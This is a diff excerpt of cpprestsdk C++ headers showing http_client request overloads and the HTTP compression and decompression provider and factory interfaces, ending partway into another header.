||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(path_query_fragment);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body_data">The data to be used as the message body, represented using the json
|
||||||
|
/// object library.</param> <param name="token">Cancellation token for cancellation of this request
|
||||||
|
/// operation.</param> <returns>An asynchronous operation that is completed once a response from the request is
|
||||||
|
/// received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const json::value& body_data,
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(path_query_fragment);
|
||||||
|
msg.set_body(body_data);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes the
|
||||||
|
/// character encoding of the string is UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="content_type">A string holding the MIME type of the message body.</param> <param
|
||||||
|
/// name="body_data">String containing the text to use in the message body.</param> <param name="token">Cancellation
|
||||||
|
/// token for cancellation of this request operation.</param> <returns>An asynchronous operation that is completed
|
||||||
|
/// once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utf8string& path_query_fragment,
|
||||||
|
const utf8string& body_data,
|
||||||
|
const utf8string& content_type = "text/plain; charset=utf-8",
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(::utility::conversions::to_string_t(path_query_fragment));
|
||||||
|
msg.set_body(body_data, content_type);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes the
|
||||||
|
/// character encoding of the string is UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="content_type">A string holding the MIME type of the message body.</param> <param
|
||||||
|
/// name="body_data">String containing the text to use in the message body.</param> <param name="token">Cancellation
|
||||||
|
/// token for cancellation of this request operation.</param> <returns>An asynchronous operation that is completed
|
||||||
|
/// once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utf8string& path_query_fragment,
|
||||||
|
utf8string&& body_data,
|
||||||
|
const utf8string& content_type = "text/plain; charset=utf-8",
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(::utility::conversions::to_string_t(path_query_fragment));
|
||||||
|
msg.set_body(std::move(body_data), content_type);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes the
|
||||||
|
/// character encoding of the string is UTF-16 will perform conversion to UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="content_type">A string holding the MIME type of the message body.</param> <param
|
||||||
|
/// name="body_data">String containing the text to use in the message body.</param> <param name="token">Cancellation
|
||||||
|
/// token for cancellation of this request operation.</param> <returns>An asynchronous operation that is completed
|
||||||
|
/// once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(
|
||||||
|
const method& mtd,
|
||||||
|
const utf16string& path_query_fragment,
|
||||||
|
const utf16string& body_data,
|
||||||
|
const utf16string& content_type = utility::conversions::to_utf16string("text/plain"),
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(::utility::conversions::to_string_t(path_query_fragment));
|
||||||
|
msg.set_body(body_data, content_type);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes the
|
||||||
|
/// character encoding of the string is UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body_data">String containing the text to use in the message body.</param> <param
|
||||||
|
/// name="token">Cancellation token for cancellation of this request operation.</param> <returns>An asynchronous
|
||||||
|
/// operation that is completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utf8string& path_query_fragment,
|
||||||
|
const utf8string& body_data,
|
||||||
|
const pplx::cancellation_token& token)
|
||||||
|
{
|
||||||
|
return request(mtd, path_query_fragment, body_data, "text/plain; charset=utf-8", token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes the
|
||||||
|
/// character encoding of the string is UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body_data">String containing the text to use in the message body.</param> <param
|
||||||
|
/// name="token">Cancellation token for cancellation of this request operation.</param> <returns>An asynchronous
|
||||||
|
/// operation that is completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utf8string& path_query_fragment,
|
||||||
|
utf8string&& body_data,
|
||||||
|
const pplx::cancellation_token& token)
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(::utility::conversions::to_string_t(path_query_fragment));
|
||||||
|
msg.set_body(std::move(body_data), "text/plain; charset=utf-8");
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request with a string body. Assumes
|
||||||
|
/// the character encoding of the string is UTF-16 will perform conversion to UTF-8.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body_data">String containing the text to use in the message body.</param> <param
|
||||||
|
/// name="token">Cancellation token for cancellation of this request operation.</param> <returns>An asynchronous
|
||||||
|
/// operation that is completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utf16string& path_query_fragment,
|
||||||
|
const utf16string& body_data,
|
||||||
|
const pplx::cancellation_token& token)
|
||||||
|
{
|
||||||
|
return request(
|
||||||
|
mtd, path_query_fragment, body_data, ::utility::conversions::to_utf16string("text/plain"), token);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body">An asynchronous stream representing the body data.</param> <param
|
||||||
|
/// name="content_type">A string holding the MIME type of the message body.</param> <param name="token">Cancellation
|
||||||
|
/// token for cancellation of this request operation.</param> <returns>A task that is completed once a response from
|
||||||
|
/// the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const concurrency::streams::istream& body,
|
||||||
|
const utility::string_t& content_type = _XPLATSTR("application/octet-stream"),
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(path_query_fragment);
|
||||||
|
msg.set_body(body, content_type);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body">An asynchronous stream representing the body data.</param> <param
|
||||||
|
/// name="token">Cancellation token for cancellation of this request operation.</param> <returns>A task that is
|
||||||
|
/// completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const concurrency::streams::istream& body,
|
||||||
|
const pplx::cancellation_token& token)
|
||||||
|
{
|
||||||
|
return request(mtd, path_query_fragment, body, _XPLATSTR("application/octet-stream"), token);
|
||||||
|
}
|
||||||
|
#endif // __cplusplus_winrt
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body">An asynchronous stream representing the body data.</param> <param
|
||||||
|
/// name="content_length">Size of the message body.</param> <param name="content_type">A string holding the MIME
|
||||||
|
/// type of the message body.</param> <param name="token">Cancellation token for cancellation of this request
|
||||||
|
/// operation.</param> <returns>A task that is completed once a response from the request is received.</returns>
|
||||||
|
/// <remarks>Winrt requires to provide content_length.</remarks>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const concurrency::streams::istream& body,
|
||||||
|
size_t content_length,
|
||||||
|
const utility::string_t& content_type = _XPLATSTR("application/octet-stream"),
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
msg.set_request_uri(path_query_fragment);
|
||||||
|
msg.set_body(body, content_length, content_type);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="body">An asynchronous stream representing the body data.</param> <param
|
||||||
|
/// name="content_length">Size of the message body.</param> <param name="token">Cancellation token for cancellation
|
||||||
|
/// of this request operation.</param> <returns>A task that is completed once a response from the request is
|
||||||
|
/// received.</returns> <remarks>Winrt requires to provide content_length.</remarks>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const concurrency::streams::istream& body,
|
||||||
|
size_t content_length,
|
||||||
|
const pplx::cancellation_token& token)
|
||||||
|
{
|
||||||
|
return request(mtd, path_query_fragment, body, content_length, _XPLATSTR("application/octet-stream"), token);
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<::web::http::client::http_pipeline> m_pipeline;
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
#if defined(_WIN32)
|
||||||
|
extern const utility::char_t* get_with_body_err_msg;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
} // namespace client
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,326 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: Compression and decompression interfaces
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace compression
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Hint as to whether a compress or decompress call is meant to be the last for a particular HTTP request or reply
|
||||||
|
/// </summary>
|
||||||
|
enum operation_hint
|
||||||
|
{
|
||||||
|
is_last, // Used for the expected last compress() call, or for an expected single decompress() call
|
||||||
|
has_more // Used when further compress() calls will be made, or when multiple decompress() calls may be required
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Result structure for asynchronous compression and decompression operations
|
||||||
|
/// </summary>
|
||||||
|
struct operation_result
|
||||||
|
{
|
||||||
|
size_t input_bytes_processed; // From the input buffer
|
||||||
|
size_t output_bytes_produced; // To the output buffer
|
||||||
|
bool done; // For compress, set when 'last' is true and there was enough space to complete compression;
|
||||||
|
// for decompress, set if the end of the decompression stream has been reached
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Compression interface for use with HTTP requests
|
||||||
|
/// </summary>
|
||||||
|
class compress_provider
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual const utility::string_t& algorithm() const = 0;
|
||||||
|
virtual size_t compress(const uint8_t* input,
|
||||||
|
size_t input_size,
|
||||||
|
uint8_t* output,
|
||||||
|
size_t output_size,
|
||||||
|
operation_hint hint,
|
||||||
|
size_t& input_bytes_processed,
|
||||||
|
bool& done) = 0;
|
||||||
|
virtual pplx::task<operation_result> compress(
|
||||||
|
const uint8_t* input, size_t input_size, uint8_t* output, size_t output_size, operation_hint hint) = 0;
|
||||||
|
virtual void reset() = 0;
|
||||||
|
virtual ~compress_provider() = default;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Decompression interface for use with HTTP requests
|
||||||
|
/// </summary>
|
||||||
|
class decompress_provider
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual const utility::string_t& algorithm() const = 0;
|
||||||
|
virtual size_t decompress(const uint8_t* input,
|
||||||
|
size_t input_size,
|
||||||
|
uint8_t* output,
|
||||||
|
size_t output_size,
|
||||||
|
operation_hint hint,
|
||||||
|
size_t& input_bytes_processed,
|
||||||
|
bool& done) = 0;
|
||||||
|
virtual pplx::task<operation_result> decompress(
|
||||||
|
const uint8_t* input, size_t input_size, uint8_t* output, size_t output_size, operation_hint hint) = 0;
|
||||||
|
virtual void reset() = 0;
|
||||||
|
virtual ~decompress_provider() = default;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory interface for compressors for use with received HTTP requests
|
||||||
|
/// </summary>
|
||||||
|
class compress_factory
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual const utility::string_t& algorithm() const = 0;
|
||||||
|
virtual std::unique_ptr<compress_provider> make_compressor() const = 0;
|
||||||
|
virtual ~compress_factory() = default;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory interface for decompressors for use with HTTP requests
|
||||||
|
/// </summary>
|
||||||
|
class decompress_factory
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual const utility::string_t& algorithm() const = 0;
|
||||||
|
virtual uint16_t weight() const = 0;
|
||||||
|
virtual std::unique_ptr<decompress_provider> make_decompressor() const = 0;
|
||||||
|
virtual ~decompress_factory() = default;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Built-in compression support
|
||||||
|
/// </summary>
|
||||||
|
namespace builtin
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Test whether cpprestsdk was built with built-in compression support
|
||||||
|
/// <returns>True if cpprestsdk was built with built-in compression support, and false if not.</returns>
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP bool supported();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
// String constants for each built-in compression algorithm, for convenient use with the factory functions
|
||||||
|
/// </summary>
|
||||||
|
namespace algorithm
|
||||||
|
{
|
||||||
|
#if defined(_MSC_VER) && _MSC_VER < 1900
|
||||||
|
const utility::char_t* const GZIP = _XPLATSTR("gzip");
|
||||||
|
const utility::char_t* const DEFLATE = _XPLATSTR("deflate");
|
||||||
|
const utility::char_t* const BROTLI = _XPLATSTR("br");
|
||||||
|
#else // ^^^ VS2013 and before ^^^ // vvv VS2015+, and everything else vvv
|
||||||
|
constexpr const utility::char_t* const GZIP = _XPLATSTR("gzip");
|
||||||
|
constexpr const utility::char_t* const DEFLATE = _XPLATSTR("deflate");
|
||||||
|
constexpr const utility::char_t* const BROTLI = _XPLATSTR("br");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Test whether cpprestsdk was built with built-in compression support and
|
||||||
|
/// the supplied string matches a supported built-in algorithm
|
||||||
|
/// <param name="algorithm">The name of the algorithm to test for built-in support.</param>
|
||||||
|
/// <returns>True if cpprestsdk was built with built-in compression support and
|
||||||
|
/// the supplied string matches a supported built-in algorithm, and false if not.</returns>
|
||||||
|
/// <summary>
|
||||||
|
_ASYNCRTIMP bool supported(const utility::string_t& algorithm);
|
||||||
|
} // namespace algorithm
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate a built-in compression provider with default parameters by compression algorithm
|
||||||
|
/// name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm for which to instantiate a provider.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a provider of the requested-type, or to nullptr if no such built-in type exists.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<compress_provider> make_compressor(const utility::string_t& algorithm);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate a built-in decompression provider with default parameters by compression algorithm
|
||||||
|
/// name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm for which to instantiate a provider.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a provider of the requested-type, or to nullptr if no such built-in type exists.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<decompress_provider> make_decompressor(const utility::string_t& algorithm);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to obtain a pointer to a built-in compression provider factory by compression algorithm name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm for which to find a factory.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a provider of the requested-type, or to nullptr if no such built-in type exists.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::shared_ptr<compress_factory> get_compress_factory(const utility::string_t& algorithm);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to obtain a pointer to a built-in decompression provider factory by compression algorithm name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm for which to find a factory.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a provider of the requested-type, or to nullptr if no such built-in type exists.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::shared_ptr<decompress_factory> get_decompress_factory(const utility::string_t& algorithm);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
// Factory function to instantiate a built-in gzip compression provider with caller-selected parameters.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a gzip compression provider, or to nullptr if the library was built without built-in
|
||||||
|
/// compression support.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<compress_provider> make_gzip_compressor(int compressionLevel,
|
||||||
|
int method,
|
||||||
|
int strategy,
|
||||||
|
int memLevel);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
// Factory function to instantiate a built-in deflate compression provider with caller-selected parameters.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a deflate compression provider, or to nullptr if the library was built without built-in
|
||||||
|
/// compression support..
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<compress_provider> make_deflate_compressor(int compressionLevel,
|
||||||
|
int method,
|
||||||
|
int strategy,
|
||||||
|
int memLevel);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
// Factory function to instantiate a built-in Brotli compression provider with caller-selected parameters.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A caller-owned pointer to a Brotli compression provider, or to nullptr if the library was built without built-in
|
||||||
|
/// compression support.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<compress_provider> make_brotli_compressor(
|
||||||
|
uint32_t window, uint32_t quality, uint32_t mode, uint32_t block, uint32_t nomodel, uint32_t hint);
|
||||||
|
} // namespace builtin
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate a compression provider factory by compression algorithm name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm supported by the factory. Must match that returned by the
|
||||||
|
/// <c>web::http::compression::compress_provider</c> type instantiated by the factory's make_compressor function.
|
||||||
|
/// The supplied string is copied, and thus need not remain valid once the call returns.</param>
|
||||||
|
/// <param name="make_compressor">A factory function to be used to instantiate a compressor matching the factory's
|
||||||
|
/// reported algorithm.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A pointer to a generic provider factory implementation configured with the supplied parameters.
|
||||||
|
/// </returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// This method may be used to conveniently instantiate a factory object for a caller-selected <c>compress_provider</c>.
|
||||||
|
/// That provider may be of the caller's own design, or it may be one of the built-in types. As such, this method may
|
||||||
|
/// be helpful when a caller wishes to build vectors containing a mix of custom and built-in providers.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP std::shared_ptr<compress_factory> make_compress_factory(
|
||||||
|
const utility::string_t& algorithm, std::function<std::unique_ptr<compress_provider>()> make_compressor);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate a decompression provider factory by compression algorithm name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="algorithm">The name of the algorithm supported by the factory. Must match that returned by the
|
||||||
|
/// <c>web::http::compression::decompress_provider</c> type instantiated by the factory's make_decompressor function.
|
||||||
|
/// The supplied string is copied, and thus need not remain valid once the call returns.</param>
|
||||||
|
/// <param name="weight">A numeric weight for the compression algorithm, times 1000, for use as a "quality value" when
|
||||||
|
/// requesting that the server send a compressed response. Valid values are between 0 and 1000, inclusive, where higher
|
||||||
|
/// values indicate more preferred algorithms, and 0 indicates that the algorithm is not allowed; values greater than
|
||||||
|
/// 1000 are treated as 1000.</param>
|
||||||
|
/// <param name="make_decompressor">A factory function to be used to instantiate a decompressor matching the factory's
|
||||||
|
/// reported algorithm.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A pointer to a generic provider factory implementation configured with the supplied parameters.
|
||||||
|
/// </returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// This method may be used to conveniently instantiate a factory object for a caller-selected
|
||||||
|
/// <c>decompress_provider</c>. That provider may be of the caller's own design, or it may be one of the built-in
|
||||||
|
/// types. As such, this method may be helpful when a caller wishes to change the weights of built-in provider types,
|
||||||
|
/// to use custom providers without explicitly implementing a <c>decompress_factory</c>, or to build vectors containing
|
||||||
|
/// a mix of custom and built-in providers.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP std::shared_ptr<decompress_factory> make_decompress_factory(
|
||||||
|
const utility::string_t& algorithm,
|
||||||
|
uint16_t weight,
|
||||||
|
std::function<std::unique_ptr<decompress_provider>()> make_decompressor);
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Header type enum for use with compressor and decompressor header parsing and building functions
|
||||||
|
/// </summary>
|
||||||
|
enum header_types
|
||||||
|
{
|
||||||
|
transfer_encoding,
|
||||||
|
content_encoding,
|
||||||
|
te,
|
||||||
|
accept_encoding
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate an appropriate compression provider, if any.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="encoding">A TE or Accept-Encoding header to interpret.</param>
|
||||||
|
/// <param name="type">Specifies the type of header whose contents are in the encoding parameter; valid values are
|
||||||
|
/// <c>header_type::te</c> and <c>header_type::accept_encoding</c>.</param>
|
||||||
|
/// <param name="preferred">A compressor object of the caller's preferred (possibly custom) type, which is used if
|
||||||
|
/// possible.</param>
|
||||||
|
/// <param name="factories">A collection of factory objects for use in construction of an appropriate compressor, if
|
||||||
|
/// any. If empty or not supplied, the set of supported built-in compressors is used.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A pointer to a compressor object that is acceptable per the supplied header, or to nullptr if no matching
|
||||||
|
/// algorithm is found.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<compress_provider> get_compressor_from_header(
|
||||||
|
const utility::string_t& encoding,
|
||||||
|
header_types type,
|
||||||
|
const std::vector<std::shared_ptr<compress_factory>>& factories = std::vector<std::shared_ptr<compress_factory>>());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Factory function to instantiate an appropriate decompression provider, if any.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="encoding">A Transfer-Encoding or Content-Encoding header to interpret.</param>
|
||||||
|
/// <param name="type">Specifies the type of header whose contents are in the encoding parameter; valid values are
|
||||||
|
/// <c>header_type::transfer_encoding</c> and <c>header_type::content_encoding</c>.</param>
|
||||||
|
/// <param name="factories">A collection of factory objects for use in construction of an appropriate decompressor,
|
||||||
|
/// if any. If empty or not supplied, the set of supported built-in compressors is used.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A pointer to a decompressor object that is acceptable per the supplied header, or to nullptr if no matching
|
||||||
|
/// algorithm is found.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP std::unique_ptr<decompress_provider> get_decompressor_from_header(
|
||||||
|
const utility::string_t& encoding,
|
||||||
|
header_types type,
|
||||||
|
const std::vector<std::shared_ptr<decompress_factory>>& factories =
|
||||||
|
std::vector<std::shared_ptr<decompress_factory>>());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Helper function to compose a TE or Accept-Encoding header with supported, and possibly ranked, compression
|
||||||
|
/// algorithms.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="type">Specifies the type of header to be built; valid values are <c>header_type::te</c> and
|
||||||
|
/// <c>header_type::accept_encoding</c>.</param>
|
||||||
|
/// <param name="factories">A collection of factory objects for use in header construction. If empty or not
|
||||||
|
/// supplied, the set of supported built-in compressors is used.</param>
|
||||||
|
/// <returns>
|
||||||
|
/// A well-formed header, without the header name, specifying the acceptable ranked compression types.
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP utility::string_t build_supported_header(header_types type,
|
||||||
|
const std::vector<std::shared_ptr<decompress_factory>>& factories =
|
||||||
|
std::vector<std::shared_ptr<decompress_factory>>());
|
||||||
|
} // namespace details
|
||||||
|
} // namespace compression
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,322 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include <map>
|
||||||
|
#include <memory>
|
||||||
|
#include <string>
|
||||||
|
#include <system_error>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Binds an individual reference to a string value.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="key_type">The type of string value.</typeparam>
|
||||||
|
